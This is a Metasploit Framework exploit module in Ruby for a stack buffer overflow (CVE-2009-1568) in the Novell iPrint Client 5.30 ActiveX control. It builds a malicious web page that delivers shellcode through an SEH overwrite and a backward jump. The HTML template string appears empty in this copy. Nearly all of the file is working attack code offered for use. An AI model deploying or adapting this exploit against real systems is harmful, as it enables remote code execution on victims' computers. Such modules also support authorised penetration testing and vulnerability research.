## # $Id: novelliprint_target-frame.rb 8338 2010-02-01 03:33:38Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Novell iPrint Client ActiveX Control target-frame Buffer Overflow', 'Description' => %q{ This module exploits a stack overflow in Novell iPrint Client 5.30. When passing an overly long string via the "target-frame" parameter to ienipp.ocx an attacker can execute arbitrary code. NOTE: The "operation" variable must be set to a valid command in order to reach this vulnerability. }, 'License' => MSF_LICENSE, 'Author' => [ 'jduck' ], 'Version' => '$Revision: 8338 $', 'References' => [ [ 'CVE', '2009-1568' ], [ 'BID', '37242' ], [ 'OSVDB', '60803' ], [ 'URL', 'http://secunia.com/advisories/37169/' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1456, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ [ 'iPrint 5.30 Windows Client', { 'Ret' => 0x100489ac } ] # p/p/r in ienipp.ocx v5.30 ], 'DisclosureDate' => 'Dec 08 2009', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload. return if ((p = regenerate_payload(cli)) == nil) sploit = p.encoded # the following must be an invalid pointer (unreadable) sploit << [rand(0xffffffff) | 0xc0000000].pack('V') sploit << generate_seh_record(target.ret) distance = 8 + 4 + payload_space sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string sploit << rand_text_alphanumeric(2048 - sploit.length) operations = [ "op-client-interface-version", "op-client-version-info", "op-client-is-printer-installed", "op-user-get-role", "op-printer-install", "op-printer-remove", "op-printer-get-status", "op-printer-get-info", "op-printer-pause", "op-printer-resume", "op-printer-purge-jobs", "op-printer-list-users-jobs", "op-printer-list-all-jobs", "op-printer-send-test-page", "op-printer-send-file", "op-printer-setup-install", "op-job-get-info", "op-job-hold", "op-job-release-hold", "op-job-cancel", "op-job-restart", "op-dbg-printer-get-all-attrs", "op-dbg-job-get-all-attrs" ] operation = operations[rand(operations.length)] # escape single quotes sploit = xml_encode(sploit) content = %Q|

| content = Rex::Text.randomize_space(content) print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end def xml_encode(str) ret = "" str.unpack('C*').each { |ch| case ch when 0x41..0x5a, 0x61..0x7a, 0x30..0x39 ret << ch.chr else ret << "&#x" ret << ch.chr.unpack('H*')[0] ret << ";" end } ret end end